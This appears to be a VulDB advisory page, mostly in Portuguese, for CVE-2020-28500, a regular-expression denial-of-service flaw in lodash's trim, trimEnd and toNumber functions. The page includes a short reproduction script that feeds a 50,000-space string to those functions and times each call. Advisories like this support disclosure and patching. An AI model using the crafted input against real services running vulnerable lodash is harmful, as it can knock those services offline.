CVE-2020-28500 in lodashinformação

Sumário

de VulDB • 30/06/2026

Todas as versões do pacote lodash e todas as versões do pacote org.fujion.webjars:lodash são vulneráveis a Regular Expression Denial of Service (ReDoS) por meio das funções toNumber, trim e trimEnd. Etapas para reproduzir (fornecidas pelo relator Liyuan Chen): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Responsável

Snyk

Reservar

12/11/2020

Divulgação

15/02/2021

Moderação

aceite

Entrada

VDB-169932

CPE

pronto

EPSS

0.07336

KEV

não

Atividades

muito baixo

Fontes

Do you know our Splunk app?

Download it now for free!